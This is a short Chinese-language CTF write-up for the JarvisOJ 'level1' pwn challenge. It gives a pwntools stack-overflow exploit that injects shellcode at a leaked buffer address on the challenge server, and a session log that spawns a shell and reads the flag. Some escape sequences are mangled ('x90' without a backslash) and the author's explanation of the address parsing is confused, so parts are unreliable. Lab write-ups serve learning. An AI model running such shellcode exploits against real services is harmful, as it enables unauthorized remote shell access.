jarvisoj | level1

原题请见

level1

from pwn import *
io = remote("pwn2.jarvisoj.com",9877)
shellcode = asm(shellcraft.sh())
buffer=io.recvline()[14:-2]
buf_addr = int(buffer,16)
payload = shellcode + 'x90' * (0x88+0x4-len(shellcode)) + p32(buf_addr)
io.sendline(payload)
io.interactive()
io.close()

buffer=io.recvline()[14:-2]
buf_addr = int(buffer,16)

搬运大佬的exp ,exp脚本中的这两行令人头晕,原题的动态链接库丢到ida中

以下是解题思路

buffer=io.recvline()[14:-2] 这应该是接收到一行数据，将除了 以外的元素记为-1，以此类推，即以此获得了buffer的地址

In [3]: buffer=io.recvline()[14:-2]

In [4]: print(buffer)
ffdc6550

In [5]: buf_addr = int(buffer,16)

In [6]: print(buf_addr)
4292633936

In [7]: p32(buf_addr)
Out[7]: 'Pexdcxff'

下面的方式是我所熟知的

In [4]: shellcode = asm(shellcraft.sh())

In [5]: buf_addr=0xffdf40b0

In [6]: payload = shellcode + 'x90' * (0x88+0x4-len(shellcode)) + p32(buf_addr) 
In [7]: io.sendline(payload)

In [8]: io.interactive()
[*] Switching to interactive mode
ls
flag
level1
cat flag
CTF{82c2aa534a9dede9c3a0045d0fec8617}